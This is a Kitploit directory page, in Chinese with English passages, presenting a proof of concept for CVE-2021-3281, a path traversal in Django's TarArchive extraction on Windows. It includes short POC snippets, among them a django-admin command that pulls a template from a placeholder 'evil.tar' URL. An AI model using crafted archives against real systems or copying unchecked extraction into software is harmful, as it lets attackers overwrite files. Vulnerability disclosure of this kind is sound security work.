Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-3281 — 针对CVE-2021-3281的概念验证:通过构造的tar文件利用Django的TarArchive实用程序中的目录遍历漏洞,并使用Python tarfile模块进行演示。 | Kitploit
工具/GitHubGitHub/lwzsoviet/cve-2021-3281
漏洞分析漏洞利用Web应用程序漏洞利用论文与研究学习与教育
GitHublwzsoviet/cve-2021-3281

CVE-2021-3281

针对CVE-2021-3281的概念验证:通过构造的tar文件利用Django的TarArchive实用程序中的目录遍历漏洞,并使用Python tarfile模块进行演示。

查看仓库
2315年前尚未审核
分享

CVE-2021-3281

在 django.utils.archive.py 的 TarArchive 类中,存在一个目录遍历漏洞,位于 lineno:171。

函数调用 os.path.join(to_path, name) 没有检查参数 "name",如果在 Windows 平台上使用该工具,就会存在目录遍历风险,POC 如下:

from django.utils import archive
archive.extract('test.tar','.')
The test.tar include file named "d:game.exe",and the poc will create a file named "game.exe" in D://game.exe rather than "."
It looks like the Django core didn't use this util,but I still think it's a risk,maybe someone will use this util in webapp to archive somethings.``and there is another scene:``"djangoadmin startapp --template" command will use archive.py,see in https://docs.djangoproject.com/en/3.1/ref/django-admin/#s-startapp. POC is:

django-admin.exe startapp vulapp --template="C:/my_templates/test.tar"
It'll create a file named "game.exe" in D://game.exe rather than "vulapp/", It also accept URLs like "django-admin.exe startapp vulapp --template=https://xxx.com/evil.tar"

POC

from django.utils import archive
archive.extract('test.tar','.')

Python/Lib/tarfile.py 中也存在相同的问题:

#Lib/tarfile.py:
import tarfile
tar=tarfile.open('test.tar','r')
tar.extractall('.')
tar.close()

并且文档给出了警告,参见 https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall

链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3281

https://www.djangoproject.com/weblog/2021/feb/01/security-releases/

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    916
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    558
  • 3

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    370
  • 4

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    317
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI原生网络安全的行动系统——在这里,意图转化为受治理的执行,证据沉淀为运营记忆,每一次操作都让下一次更出色。

    289

探索所有工具

浏览我们的工具集合

查看所有工具 →